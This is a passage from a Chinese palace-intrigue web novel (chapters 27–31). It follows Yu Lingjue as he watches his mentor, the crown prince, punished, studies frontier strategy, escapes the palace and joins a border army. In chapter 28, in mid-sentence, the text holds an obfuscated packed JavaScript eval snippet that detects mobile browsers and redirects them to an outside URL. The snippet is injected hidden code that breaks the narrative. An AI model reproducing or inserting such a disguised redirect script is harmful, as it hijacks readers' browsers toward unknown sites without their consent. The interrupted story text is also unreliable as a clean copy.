莫忘之看着他矫健的身影在林间穿梭,看着他收获周围那些从鄙夷到惊疑再到忌惮的目光,心中的那个决定愈发坚定。 傍晚,营地篝火点点,猎物堆积如山。论功行赏时,玉凌绝猎获最丰,那一箭救驾更是功不可没。当着众人的面,莫忘之将一柄镶嵌着宝石的华丽匕首赐予他,以示嘉奖。 玉凌绝接过匕首,在众人或复杂或探究的目光中,行礼谢恩。他感受到手中匕首沉甸甸的分量,也感受到了那无数道目光中蕴含的压力。他知道,从今日起,他正式踏入了这片权力的猎场,再也无法退避。 夜深人散,营地渐渐安静下来。玉凌绝独自一人,坐在远离喧嚣的一处小山坡上,望着满天星斗,手中无意识地摩挲着那柄华丽的匕首。 脚步声自身后响起,是莫忘之。 他在他身旁坐下,递过一个水囊,里面是清冽的泉水。 “今日,你做得很好。”莫忘之的声音在夜风中显得有些飘忽,“但也过于锋芒毕露了。” 玉凌绝深吸一口气,压下胸腔里狂跳的心脏,摇了摇头。他抬起头看向忘之,青黑沉的眸子里残留着未散的戾气,却也有证明了自己的微光。“他们想伤你。” 很简单的一句话,却道尽了他所有行动的缘由。 莫忘之静默地看着他,终是叹息一声。他伸出手,并非如往常那般拍拍他的头,而是拂去他肩甲上沾染的一小片草屑。 “……只是下次,不必如此。你的命同样贵重。”他淡淡道。 他的触碰一如既往的自然,话语里却带着玉凌绝无法理解的淡淡的疏离。 莫忘之仰头望着远方,声音在夜风中模糊不清:“这片林子太小……终究还是困不住,能搏击长空的鹰隼。” 玉凌绝转头看他,星光下,他的侧脸轮廓显得有些模糊,带着一种他看不懂的怅然。 “阿绝,你可想过,宫墙之外,是何天地?” 玉凌绝一怔,不明所以。 “这四方宫墙,能困住人,也能养出井底之蛙。”莫忘之的声音悠远,仿佛穿透了草原,望向了无垠的远方,“真正的雄鹰,需得在苍穹下搏击风雨。” 玉凌绝的心猛地一跳,紧紧看着莫忘之,试图从他眼中找到答案。 莫忘之却没有再解释,只是转身离去。 宫墙之外……是何天地? 27. 【贰拾柒】 秋狩场上,玉凌绝那一箭着不属于他年龄的冷静与决绝,也将他这位几乎被遗忘的冷宫皇子骤然推到了风口浪尖。 赞赏,猜忌,探究的目光纷至沓来。老皇帝在猎宴上难得地多看了他几眼,甚至开口问了几句,虽语气淡漠,却已足够让某些人寝食难安。 果然,秋狩的尘埃尚未落定,针对莫忘之的发难便接踵而至。漕运总督人选之事被重新翻出,几个原本已被压下的,关于东宫“结党营私”“越权干政”的弹劾奏章,如同约好了一般同时被呈到了老皇帝的病榻前。进言者是国师与宰相门下几位看似不相干的御史,句句诛心,字字暗示太子趁圣体不安,笼络朝臣,其心可诛。 秋意渐深,寒露凝霜。紫宸殿内,病榻上的老皇帝本就被丹药与沉疴折磨得神思昏聩,近来又因追求长生被国师蛊惑得愈发喜怒无常,此刻被这些言辞挑唆,又联想到秋狩时太子身边突然冒出个“文武双全”的冷宫皇子,一股被背叛被觊觎的暴怒瞬间冲垮了理智。 他那双浑浊的眼中射出厉光,根本不听任何辩解,亦或是他本就存了借此敲打甚至废黜的心思。 “逆子!”一只珍贵的钧窑茶盏被狠狠掼碎在莫忘之脚边,碎片混着滚烫漆黑的药汁四溅。“朕还没死呢!你就这般迫不及待,把手伸到前朝,伸到朕的眼皮子底下?!” 莫忘之垂首敛目,面色平静无波,仿佛那暴怒的雷霆并非冲他而来。他没有辩解,亦没有求饶。在绝对的皇权与猜忌面前,任何言语都苍白无力,甚至可能引来更疯狂的倾轧。 “给朕滚出去!到殿外阶下跪着!没有朕的旨意,不许起来!好好想想,何为本分!”老皇帝气得胸膛剧烈起伏,脸色涨红,又是一阵撕心裂肺的咳嗽。 内侍战战兢兢地上前,低声道:“殿下,请吧。” 莫忘之的身形几不可察地晃了一下,随即稳住,步履平稳地走出了大殿,仿佛只是去完成一件寻常的差事。 消息传到玉凌绝耳中时,他正在院中练箭,指腹因反复拉弦已磨得通红。闻讯,“咔嚓”一声脆响,木屑刺入掌心,渗出殷红血珠,他却浑然不觉疼痛。 他几乎是狂奔着冲向紫宸殿的方向。心脏在胸腔里疯狂擂动,几乎要炸开。是自己那日在秋狩场上的锋芒,是自己擅自插手漕运之事,才为他引来了这无妄之灾! 他气喘吁吁地赶到通往紫宸殿广场的廊道尽头,隐在巨大的蟠龙柱后。他不敢靠得太近,只能借着廊柱的阴影,望向紫宸殿那高高的汉白玉台阶。 只见那道熟悉的素白身影,正孤零零地跪在空旷冰冷的石阶之下。秋风肆意吹拂着,卷起他单薄的衣袂和墨发,他背脊挺得笔直,头颅微垂,长发被风吹得有些凌乱,看不清面容,只能看到那截裸露在空气中的后颈。 时值深秋,寒风已带着刺骨的力道,风毫无遮挡地呼啸而过。那人如同雪地里一株不肯弯折的青竹,可那过分单薄的身影在巨大的广场和巍峨殿宇映衬下,渺小得仿佛随时会被吞噬。 过往的宫人内侍皆低着头,步履匆匆,无人敢停留片刻或多看一眼,仿佛那是什么不祥的瘟疫之源。 但他能看见有身着国师府或宰相府服色的官员,假意从附近经过,投去或嘲讽或怜悯的一瞥,那目光如同鞭子,抽打在玉凌绝的心上。他甚至看到几个低阶又趋炎附势的宦官,对着莫忘之的方向指指点点,低声窃笑。那声音不高不低,恰好能飘入他的耳中。 “太子殿下真是‘仁孝’,跪得如此端正。” “哼,若非心中有鬼,何至于此?怕是御下不严,难辞其咎。” “如此庸碌,怎堪大任?陛下圣明……” 污言秽语如毒针般刺来,莫忘之却始终维持着那个姿势,一动不动。唯有在秋风卷起更大落叶砸在他身上时,那挺直的脊背才会微微一颤。 就在这时一个尖细的声音响起,带着刻意的惊讶:“哟,这不是冷宫那位吗?怎么跑到这儿来了?莫非也是来‘瞻仰’太子殿下风姿的?” 说话的是宰相麾下的一名阉宦,曾因克扣冷宫用度被玉凌绝暗中设计吃过亏,此刻正不怀好意地看着他,眼神轻蔑。 玉凌绝眼底戾气骤升,垂在袖中的手死死攥紧,指甲深陷进肉里,忍不住想将那张虚伪谄媚的脸砸烂。 就在他气息骤变,即将有所动作或言语的刹那,一道平静无波的目光落在他身上。 是莫忘之。 玉凌绝猛地回头,对上莫忘之不知何时侧首望来的目光。那目光依旧平静,甚至带着安抚的意味,却像一盆冰水,瞬间浇熄了玉凌绝沸腾的杀意。他对着玉凌绝轻微地摇了摇头,仿佛此刻跪在冰冷的石板上,承受着无尽羞辱的人不是他自己。 “回去。”莫忘之用口型无声地说,眼神里是不容置疑的命令。 玉凌绝读懂了那目光里的含义,也看清了那口型说的命令,他没再理会那人的冷嘲热讽,强行将翻涌的气血压回,转身走开,默默地退到了广场边缘的阴影里,如同蛰伏的幼兽,一双黑眸死死盯住场中那道身影,将所有的愤怒不甘与心疼,都死死压在心底。 他一直站在那里,目光始终牢牢锁在那道身影上,仿佛这样就能替他分担一丝一毫的苦楚。 随着时间的流逝,他看到莫忘之的嘴唇逐渐失去了最后一点血色,变得干裂苍白。看到他垂在身侧的手,指尖微微蜷缩,偶尔晃动下,又立刻强行稳住。他跪得那样安静,那样顺从,仿佛真的在虔诚反省。 玉凌绝暗青色的碎发紧贴在苍白的额角。那双黑中带青的眸子此刻如同淬了毒的墨玉,左耳边那根小辫子的尾梢也因他紧咬牙关而微微颤抖。 天色迅速暗沉下去,最后一丝天光被墨色吞没。宫灯次第亮起,昏黄的光晕却照不透这广场的森冷与孤寂,天空还飘起了冰冷的雨丝,细细密密,落在汉白玉石阶上,很快洇湿了一片。莫忘之的衣衫渐渐被雨水打湿,颜色变深,紧贴在清瘦的背脊上,更显单薄。 玉凌绝看到他的身体颤抖得明显了些,压抑的咳嗽声终于再也忍不住,低低地传了过来,在空旷的广场上显得格外清晰而揪心。 他的 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他想起自己曾在冷宫遭受的欺凌,那些拳脚辱骂,那些饥寒交迫……与眼前这人所承受来自更高层面的,杀人诛心的折辱相比,何其相似,又何其不同。 他教他权谋,教他制衡,教他如何在这吃人的地方活下去,却似乎从未教过他,要如何承受这般的折辱。 玉凌绝沉默地隐在阴影里,眼睁睁看着,感受着那无形的鞭子一下下抽在自己心上,比掌心木刺带来的疼痛尖锐百倍。 终于,在暮色四合,宫灯初上之时,奉先殿那扇沉重的大门才“吱呀”一声开启。一名内侍捧着一道谕旨出来,尖细的声音在风雨中飘摇: “殿下已知错,起吧。回宫好生将养,无旨不得出。” 跪了整整一日的身影晃动了下,才缓缓用手撑住冰冷的地面,艰难地试图站起来,膝盖却因长时间的冰冷和压迫而彻底麻木,竟一时无法站直,险些向前栽倒。 见此情景,玉凌绝忍不住想要冲过去,想将他拉起来,想替他挡住这刺骨的寒风和无尽的屈辱。 可他不能。 他此刻若现身,非但帮不了莫忘之,只会坐实他“结交皇子,图谋不轨”的罪名,给国师宰相送上更致命的把柄。他只能被困在阴影里,眼睁睁看着感受着那无形的,名为权力的重压,是如何一寸寸碾磨着那个人的尊严与身体。 莫忘之尝试了两次起身,竟都未能成功。第三次才勉强稳住身形,动作迟缓而艰难地,一步一步,拖着几乎失去知觉的双腿缓缓走下台阶,每步都走得异常艰难,湿透的衣衫下摆在身后拖出一道深色的水痕,在渐浓的夜色和凄风冷雨中,那离去的背影显得孤寂而苍凉。 自始至终,他都没有回头,没有再看向玉凌绝藏身的方向。 玉凌绝僵在原地,直到那身影彻底消失在宫道尽头,与浓重的夜色融为一体,他才缓缓松开早已僵硬的手。掌心被自己的指甲抠得血肉模糊,冰冷的石屑混着凝固的血块,黏腻一片,冰冷刺骨。 28. 【贰拾捌】 自东宫广场那场风雪罚跪后,宫中的气氛便如同一张逐渐拉满的弓,绷得死紧。表面上,关于漕运的风波似乎已然平息,太子殿下“静养”东宫,对外宣称久跪寒地引动旧疾,咳症复发,甚至比前次更为缠绵。太医院的人流水般进出,汤药不断,东宫门户紧闭,谢绝了一切探视,一切仿佛又回到了从前的死水微澜。 但玉凌绝知道,有些东西已经彻底改变了。朝中的风波并未因太子的隐忍而平息,反而有愈演愈烈之势。国师与宰相似乎达成了某种默契,交替着在老皇帝病榻前进言,或暗示太子结党营私,图谋不轨;或影射其体弱多病,难当社稷重任。流言蜚语在宫闱内外悄然传播,如同冬日无孔不入的寒风。 那一夜风雨中孤跪的身影,如同烧红的烙铁在玉凌绝心上烫下了深刻的印记。他不再愤怒地挥舞爪牙,也不再于无人处发泄暴躁。那种属于少年人外显的浮躁,仿佛被一夜抽空,愧疚与一种急于获得真正力量的焦灼,在他心底反复灼烧,却不再显露分毫。 等他再见到莫忘之,是在三天后的夜里。他并未亲自前来冷宫,而是由那名心腹内侍送来了一封密信和几本崭新的书册。 信上字迹依旧平稳,只是笔画间略显虚浮,可见身体尚未完全恢复。信中未有半句提及那日的折辱,只详细分析了当前朝局态势,点明国师与宰相虽暂时联手打压东宫,但其内部利益纠葛复杂,绝非铁板一块。并嘱咐玉凌绝,近日需格外收敛锋芒,静观其变,将所授的兵法与权谋之道,结合这几本新送记载边关地理风物与军制演变的书籍,细细揣摩。 “殿下还说,”内侍低声道,声音里带着些许叹息,“让小公子保重自身,便是……最大的助益。” 玉凌绝捏着那信笺,指尖微微颤抖。他听懂了莫忘之的未竟之语。在自身难保之时,他最挂念的仍是自己的安危。一股混合着巨大愧疚与无力的钝痛狠狠碾过他的心脏。他知道,自己之前的行动虽利落,却终究不够老辣,留下了可供人攻讦的尾巴,才让莫忘之不得不以那般孱弱之躯,去承受那场风雨的凌迟。 他沉默地将那封信凑到烛火边,看着火焰吞噬掉最后一个墨字,化为灰烬。然后,他拿起那几本关于边关的书,坐到了冰冷的石桌前,翻开了第一页。 他的侧影在跳动的烛光下显得异常专注,甚至带着一种近乎残酷的冷静。那些文字不再是枯燥的知识,而是化作了未来可能斩向敌人的利刃,化作了不再成为累赘的基石。 他依旧在废弃宫苑中苦读习武,每个深夜都对着舆图与兵书,将莫忘之所授与燕沧溟平日讲述的边关见闻一一印证推演。他的气质愈发沉静,曾经偶尔还会泄露的戾气被强行压制成内敛的锋芒,如同匣中亟待饮血的利剑。 深秋的最后几片枯叶也终于落尽,天地间只剩下灰蒙蒙的枝桠和一日冷过一日的风。莫忘之的病情终于稳定下来,虽仍虚弱,但已能见人。他开始通过内侍传递一些更为艰深的典籍和情报,上面偶尔会有他新添寥寥数语的批注,不再是细致的讲解,而是尖锐的提问或隐晦的指引,逼迫着玉凌绝跳出原有的框架,自行思考破局之道。 玉凌绝将全部精力投入到那些书卷中。那些纵横捭阖的权谋,铁血金戈的兵法,与他亲眼所见的宫廷倾轧,莫忘之风雨中孤跪的身影相互印证。一种前所未有的清明逐渐取代了以往的混沌,那些曾经晦涩难懂之处,在血与火的现实参照下,显露出其下涌动的暗流与杀机。 十一月的寒风已如刀子般锋利,雪尚未真正落下,空气却干冷得刺骨。这夜,莫忘之终于再次踏着月色而来。 他披着那身厚重的玄色狐裘,身形依旧清减,脸色在月光下显得苍白,但步伐已稳了许多。他走进殿内,带来的并非书卷,而是一张详尽的北境边防舆图。 “看看吧,”他将舆图在石桌上摊开,指尖点着几处关隘,“这里是燕师姐如今驻防之地,天阙关。这里是狄戎最常扰边的几个缺口……” 他没有讲授具体的谋略,而是开始详细分析北境的地形气候,狄戎各部族的习性与兵力配置,以及边军内部的派系与困境。他的声音不高,却清晰冷静,将一片广袤而残酷的天地,徐徐展现在玉凌绝面前。 玉凌绝凝神细听,目光紧随那移动的指尖,仿佛能透过薄薄的纸张,看到那片黄沙漫卷烽火连天的土地。他沉默片刻,黑沉的眸子抬起,看向莫忘之:“师兄让我看这些……是边关将有变数,还是朝中欲对镇西军动手?” 莫忘之抬眸看他,没有直接回答,只是轻轻咳嗽了两声,掩唇道:“你需要更了解那里,不仅是地理兵势,更是人心向背。权力之争,根子在疆域,命脉在兵马。” 他将舆图留下,又嘱咐了几句需注意的关节点,便起身离去。狐裘的厚重依旧掩不住他背影的清癯。走到门口,他脚步微顿,回头看了一眼仍伫立图前的玉凌绝。月光与灯影在他眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105182|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交织,流转着一种玉凌绝无法完全读懂的了然期许与某种深藏的疲惫。 最终,千言万语只化作一句清晰的叮嘱,融在寒冷的夜气里: “保重身体。” 玉凌绝望着他消失的方向,重重点头,攥紧了袖中的手指。 此后数日,莫忘之来得频繁了些。他们在这破败宫苑的一角,围着那盆总算能带来些许暖意的炭火,将整片北境的万里山河浓缩于这张方寸舆图之上。一个教得冷静抽离,却字字珠玑;一个学得沉默专注,如饥似渴。 “狄戎王庭看似铁板一块,实则几位王子各有部落支持……天阙关守将陈闯,是燕师姐心腹,可用,但其副手……是宰相门生。”莫忘之指尖虚点在地图上,声音低缓,“看明白了吗?战场在前线,更在朝堂。用兵之要,在于知人,更在于……制衡。” 有时,他会考校玉凌绝。 “若你是狄戎左贤王,秋高马肥时,会选何处叩关?” “若粮草被克三成,天阙关能守几日?” “若朝中有人弹劾燕沧溟拥兵自重,你当如何?” 问题一个比一个尖锐,一个比一个更接近血淋淋的现实。玉凌绝的回答从最初的青涩稚嫩,到后来的谨慎周全,直到能提出一两条让莫忘之微微颔首的见解。 然而莫忘之的教学依旧带着一种近乎残酷的抽离。他剖析人心,演示权术,却从不带入个人喜恶。他教玉凌绝如何成为一个完美的执棋者,自己却仿佛只是规则的化身。 一次,玉凌绝在回答关于如何处置一个首鼠两端的地方官时,语气中不自觉带上了狠厉。莫忘之听罢,沉默片刻,忽然问:“你因何杀他?” 玉凌绝一愣:“他……该死。” “该死之人太多。”莫忘之目光平静地看向他,“杀他,是因他该死,还是因他的存在,阻碍了你的路?” 玉凌绝哑然。 “前者是快意恩仇,后者是帝王心术。”莫忘之收回目光,重新落回书卷,“阿绝,恨,可以成为最锋利的剑,但也可以反噬其主。别让你的恨,蒙住了判断利弊的眼睛。” 他的声音依旧没什么力气,却像一把冰冷的刻刀,精准地雕琢着玉凌绝的心智。 空气中的寒意越来越重,呵气成霜。终于在一个北风呼啸的清晨,玉凌绝推开殿门,看到庭院里枯枝上,覆盖上了一层厚厚的积雪。 真正的冬天,降临了。 29. 【贰拾玖】 京城的第一场雪落下时并未带来多少诗情画意,反而给整个皇城覆上了一层压抑不安的苍白。 废弃宫苑内,炭盆烧得噼啪作响,总算驱散了些许寒意。玉凌绝正对着舆图,推演莫忘之以前留下的一个关于漕运与边关粮草调动的难题。他眉宇间专注沉凝,笔锋划过疆域,已隐隐有了几分挥斥方遒的雏形。 莫忘之坐在他对面,手中虽拿着书,目光却落在窗外纷飞的雪花上,显得有些心不在焉,那份惯常的淡然里,似乎多了点不易察觉的凝滞。连燕沧溟都许久未翻墙或通信来了。 “若依此策,虽能解边军燃眉之急,但漕运衙门上下盘根错节,牵一发而动全身,恐会打草惊蛇,引来宰相一脉的疯狂反扑。”玉凌绝放下笔,将自己的结论道出,声音因长时间的思考而略带沙哑。 莫忘之收回望向窗外的目光,看向他,眼中掠过赞许:“能看到此节,进步甚大。”他顿了顿,声音平缓,却似乎带着重压,“但有时,风暴无可避免。关键在于,如何让这场风暴,卷走我们想卷走的人,而非自身。” 玉凌绝心中一凛,隐隐捕捉到话中深意。“京中……要有大变?” 莫忘之没有直接回答,他起身,走到玉凌绝面前,垂眸看着他。那目光不再是平日里授课时的清冷,也不再是无意识亲近时的浑然,而是带着一种玉凌绝从未见过的,极其复杂的审视与决绝。 “凌绝,”他忽然唤了他的名字,不是阿绝,而是去掉了姓氏,只剩下那被他亲手赋予新意的两个字。“你恨这皇宫吗?” 玉凌绝一怔,随即黑沉的眸子里翻涌起刻骨的寒意与戾气。“恨。”这个字,他答得没有丝毫犹豫。 “想毁了它吗?”莫忘之的声音依旧平静,仿佛在问“今日雪景如何”。 玉凌绝猛地抬头,对上那双深不见底的眸子。他心脏狂跳,血液仿佛在瞬间沸腾。毁了它?这囚禁他,羞辱他,吞噬了他母亲和他一切,更让他珍视之人受尽屈辱的地方? “想。”他听到自己的声音,带着一种近乎颤抖的斩钉截铁。 莫忘之静静看了他片刻,忽然笑了一下,那笑意浅淡,未达眼底,却仿佛带着千钧重量。“好。”他只说了这一个字。 随后,他做了一件让玉凌绝难以想象的事。他伸出手,微凉的指尖拂过玉凌绝的颈侧,那里系着红绳,坠着那枚自幼便戴着的,色泽温润的玉锁。他的动作不再是以往整理衣领的随意,而是带着一种近乎描摹的专注与……不舍。 “这锁,”莫忘之的声音低沉下去,带着一种前所未有的郑重,“跟着你有些年岁了,沾了你的气息,便是你的东西。日后……无论遇到何事,戴好它。” 他的话依旧含蓄,但玉凌绝却从那郑重的语气和指尖流连的触感里,感受到了不同寻常的意味。这不仅仅是件饰物,更像是……一道护身符,一个念想,一种无声的烙印。 玉凌绝猛地想抓住对方的手问个明白,但莫忘之的手却先一步抬起,不再是习惯性地整理衣领或拂去尘埃,而是轻轻捧住了他的脸颊。他的指尖微凉,动作却带着一种不容拒绝的温柔,迫使玉凌绝仰起头,更加清晰地承接他的目光。 两人距离极近,呼吸可闻。近到玉凌绝能看清他右眼睫下那颗泪痣细微的轮廓,近到能数清他眼睫的颤动,以及右嘴角那颗在他说话时,会随之微微移动的浅痣。 “记住你亲口说的‘想’。”莫忘之的声音低沉下去,带着一种近乎蛊惑的魔力,一字一句,敲打在玉凌绝的心上,“恨,可以成为最锋利的剑,比爱更长久。无论接下来发生什么,看到什么,听到什么,都要记住你今天说的话,记住你此刻的……不甘。” 玉凌绝完全僵住了。脸颊上传来的触感如此清晰,那微凉的指尖仿佛带着火焰,瞬间点燃了他全身的血液。他能看到对方眼中自己的倒影,那么小,那么无措,又那么……渴望被肯定。近在咫尺的呼吸交织,对方身上清冽的药香与冷松气息将他完全包裹,一种混合着巨大恐慌和巨大诱惑的战栗感,从脊椎一路窜上头顶。 “你……”他喉结滚动,声音干涩得厉害,脑中一片混乱。这太过亲密的姿态,这太过沉重的话语,都指向一个他不敢细想的可能。 莫忘之却在此刻松开了手,后退一步,迅速恢复了那副清风朗月的疏离模样,仿佛刚才那片刻的失控与温情,只是玉凌绝的一场幻觉。 “京中局势将变,此地已非久留之所。三日后子时,燕师姐会来接你出宫。”他语气恢复如常,甚至带着些许安排妥当后的淡然,“她会带你去该去的地方。” 出宫? 玉凌绝脑中嗡的一声。他不是没想过离开,或者说,他从未想 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别让我失望。 这五个字如同冰锥,重重凿在玉凌绝的心上,瞬间冻结了他所有翻涌的情绪。他看着那道仿佛与窗外风雪融为一体的背影,所有的不甘愤怒疑问,都被这五个字死死压回了心底,凝结成一块带着棱角的冰。 他终于无比清晰地认识到一个事实——眼前之人,首先是执棋者,然后才是他的师兄,才是……才是那个在雪夜拥抱他的人。对方所有的谋划,所有的布局,都只是为了最终的棋局。而自己,不过是对方棋局中,重要却也终究会被抛弃的一枚棋子。 那些雪夜的温暖,灯下的教导,病中的守护,那些下意识的亲近与维护……难道都是假的吗?都是为了让这枚棋子更听话,更锋利吗? 巨大的失落与一种被遗弃的冰冷,比窗外的风雪更甚,瞬间淹没了他。他死死盯着那道背影,将喉间的腥甜与眼底汹涌的湿热强行压下。 “……知道了。” 玉凌绝的声音平静得可怕,仿佛刚才那个情绪激动的少年从未存在过。 因为他知道这不是商量,而是通知。是他必须踏上的,独自一人的征途。 莫忘之的背影终是没有回头,径直走入漫天风雪之中。 30. 【弎拾】 三日后,子时。风雪未停。 这三天那人没有再出现。废弃宫苑仿佛又变回了最初那个被世人遗忘的冰冷角落,只有窗外昼夜不停的落雪证明着时光的流逝。 玉凌绝没有再点灯。他独自坐在黑暗中,背靠着冰冷的墙壁,膝上横着那把贵重的短匕,指尖反复摩挲着精致的刀柄,触感陌生而冰凉,一如他此刻的心境。 恨吗? 恨。 怨吗? 怨他那日近乎残忍的利用与安排,怨他云淡风轻地推开自己,更怨他……或许从未将自己视作平等的可并肩同行之人。 爱吗? 这个念头刚升起,便被更深的痛苦与自我厌弃碾碎。这种东西在冰冷的现实面前,是显得如此可笑而可悲。 所有的情绪,最终都汇聚成一种冰冷的执念,“别让我失望。” 他不能失望。他必须成为他期望的那把最锋利的剑。只有如此,或许……或许才有资格,在未来某一天,站在他面前,问一句“为什么”。 他会变得更强,强到足以掌控自己的命运,强到……终有一日,能让那个人再也无法,如此轻易地决定他的去留。 玉凌绝收紧五指,将匕首死死握住,冰冷的金属硌得掌心生疼。那疼痛让他混乱的心绪一点点沉淀下来,化作眼底一片坚冰般的冷硬。 子时将近,风雪更疾。 一道几乎与夜色融为一体的黑影,如狸猫般悄无声息地翻过院墙,落地时只带起些许微不可闻的雪屑。是燕沧溟。 她依旧是一身利落劲装,外罩着御寒的深色斗篷,帽檐下露出的眉眼,比往日更添几分肃杀与凝重。她看了一眼黑暗中的玉凌绝,没有多余的寒暄,只低声道:“时辰到了,走。” 玉凌绝缓缓抬起头,黑暗中,那双眸子亮得惊人,里面翻滚着燕沧溟从未见过的情绪。有痛楚,有决绝,有孩童般的茫然,但最终都沉淀为一种近乎冷酷的坚定。他没有问去哪里,也没有丝毫犹豫,站起身,将短匕插入腰间,脊背挺得笔直。 燕沧溟皱了皱眉,解下自己的斗篷,不由分说地裹在他身上,又从怀里掏出一个油纸包塞进他手里,触手尚温。“吃了,路上冷。” 是几个还带着热气的肉饼。 玉凌绝没有拒绝,默默咬了一口,味同嚼蜡,却顺从地吞咽下去。 燕沧溟深深看了他一眼,不再多言,只一挥手:“跟紧我。” 两道身影,一前一后,融入了漫天风雪与深宫的重重阴影之中。燕沧溟对宫廷禁卫的巡逻路线与换防间隙了如指掌,带着玉凌绝在朱墙碧瓦间穿梭,避开所有明哨暗岗。风声掩盖了他们的脚步声,大雪抹去了他们的行迹。 他死死握住了紧贴在心口的玉锁,玉石冰冷的边缘硌得掌心生疼。 途经东宫外围的高墙时,玉凌绝的脚步顿了一下。他下意识地抬头,望向那灯火零星,在雪幕中显得格外沉寂的殿宇。 东宫最高处,那扇熟悉的窗后,一点暖黄光晕彻夜未熄。 是那盏琉璃宫灯。 它稳定地亮着,穿透雪幕,如同一个无声的承诺,又像一道冰冷的界限。 就在这一刹那,窗户似乎轻微地动了一下。那道模糊的人影仿佛只是无意间立于窗前赏雪,隔着漫天飞舞的洁白,与墙下阴影中仰头的少年,有了一个短暂到几乎不存在的交汇。他们看不清彼此的神情,甚至无法确定对方是否真的看到了自己。 玉凌绝的心脏却像是被那模糊的影子狠狠刺穿,骤然缩紧,带来一阵尖锐的疼痛。他猛地低下头不再去看,牙关紧咬,几乎尝到了血的味道。 燕沧溟察觉到他瞬间的停滞与僵硬,回头看了眼东宫的方向,又看了看身前少年死死压抑着颤抖的单薄肩膀,眼中闪过一丝了然与复杂的怜悯。但她什么也没说,只是伸手,用力握住他冰冷的手腕,传递过那股不容置疑的力量。 “走。”她低喝一声,语气带着战场上的决断。 玉凌绝深吸一口冰冷的空气,将那瞬间翻涌的情感死死压回心底最深处,重新迈开脚步,这一 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玉凌绝重重地点了点头,不再多言,转身,决绝地步入了那片黑暗的甬道之中。身影迅速被阴影吞噬,再也看不见。 燕沧溟站在原地,直到确认里面再无动静,才迅速将枯藤恢复原状,抹去痕迹。她抬头,最后望了眼东宫的方向,眼神复杂难明,随即身形一闪,也消失在了风雪夜色里。 角楼之下,只余风雪呼啸,很快便将所有的脚印与痕迹覆盖,仿佛今夜什么都未曾发生。 幽深冰冷的暗道中,玉凌绝一步一步,坚定地向前走着。黑暗中,他看不见前路,却能感觉到腰间短匕冰冷的触感,和怀中那枚玉锁传来最后一点微弱的暖意。 他攥紧了拳,指甲再次深深陷入掌心。 别让我失望。 他会牢牢记住这句话。 记住这皇城的冰冷,记住那人的利用与……决绝。 宫墙之外是未知的天地,也是属于他的战场。 31. 【弎拾壹】 暗道出口并非想象中的荒郊野岭,而是一处京都卫戍营地边缘废弃的砖窑。积雪覆盖着坍塌的窑口和散乱的砖坯,在黎明前最黑暗的时刻,这里寂静得只剩下风穿过破败棚顶的呜咽。 玉凌绝从阴冷的洞口钻出,尚未适应外界的光线,便被一只粗粝有力的大手猛地拽到一堆废砖之后。他心中一凛,短匕已滑至掌心,却听一个压低的带着浓重北地口音的声音响起: “可是玉小子?俺是燕将军麾下队正,陈闯!” 借着雪地微光,玉凌绝看清眼前是个穿着普通驿卒号衣的汉子,面容粗犷,眼神却精亮,带着行伍之人特有的警惕与干练。 “是我。”玉凌绝收起匕首,声音因寒冷和紧绷而沙哑。 陈闯上下打量他一眼,目光在他清俊却难掩憔悴的脸上停留一瞬,随即利落地将一套与他同款的驿卒号衣和一个包袱塞进他怀里。“换上,俺们即刻出发。此地不宜久留。” 没有多余的问候,没有好奇的探询,只有最高效的安排。玉凌绝沉默地接过,在断壁残垣后迅速穿上粗糙磨皮的棉布号衣,又将包袱背好。包袱里是几块硬邦邦的干粮和一些散碎铜钱。 天光微熹时,两人已混入一队真正的驿卒之中,骑着瘦马,沿着官道,向着西北方向疾驰。 风雪扑面,如刀割一般。玉凌绝紧紧伏在马背上,感受着冰冷的空气灌入肺腑,第一次体会到何为颠沛,何为渺小。宫墙内的勾心斗角,爱恨痴缠,在此刻凛冽的寒风与真实的奔波劳顿面前竟显得有些不真实。 他们日夜兼程,换马不换人,穿过逐渐荒凉的州县。玉凌绝沉默地观察着沿途的一切:衣衫褴褛的流民,税吏凶恶的嘴脸,荒芜的田地,以及偶尔可见调兵遣将的痕迹。莫忘之曾在舆图上指给他看的那些抽象的势力范围与资源争夺,此刻化为了眼前活生生带着苦难与压抑的图景。 陈闯话不多,却会在歇脚时,指着某处关隘,低声告诉他驻军属于哪方势力,粮草转运如何艰难;会在看到流民时,啐一口唾沫,骂一句“狗日的贪官”;也会在玉凌绝因连夜骑马磨破大腿内侧时,扔给他一罐气味刺鼻的金疮药,粗声粗气道:“忍着点,小子,当兵的谁不是这么过来的!” 十数日后,他们抵达了北地边军的一座前沿军镇。这里没有京城的繁华,只有土坯垒砌的房屋,风中卷着沙尘的气味,以及一种无处不在的,混合着汗味,铁锈味和紧张感的粗粞气息。 玉凌绝初到时并未引起太多注意。他顶着一个模糊不清的“将门远亲”名头,被燕沧溟直接塞进了她麾下最精锐也最刺头的“朔风营”。这里的人,只认拳头和军功,不认出身。 燕沧溟就在镇外的一处偏僻营地等着他。她换上了一身磨损的皮甲,长发随意束在脑后,脸上带着风霜之色,眼神却比在宫中时更加锐利明亮,如同出鞘的军刀。 她看到玉凌绝满脸疲惫却眼神沉静地站在自己面前时,眼中露出不易察觉的认可。 “还行,没死在路上。”她开口,依旧是那副腔调,却上前一步,用力捏了捏他的臂膀,“瘦了点,但骨头硬了。” 她没问宫中的事,也没提那个人,而是直接将他带进了营地。这里聚集着个个气息精悍,眼神带着血与火淬炼过的士卒。他们是燕家父女的旧部,散落在边境线之内,游离于两大势力之外。 “从今天起,你不再是玉凌绝。”燕沧溟指着那些人,对玉凌绝道,“在这里,你只是个没名没姓的小卒‘阿绝’。要想活下去,要想得到你想要的,就得先学会在这里活出个人样!” 北疆的风,与京城是截然不同的两种东西。它不缠绵不阴冷,而是裹挟着粗粝的黄沙与草屑,如同刀子般,剐在脸上,也磨砺着筋骨。天空是高远而纯粹的蓝,云朵被拉扯成细长的絮状,广袤的戈壁与草原在视野尽头与天相接,苍茫得令人心魄为之震颤。 接下来的日子,是玉凌绝生命中从未想象过的艰苦与……充实。 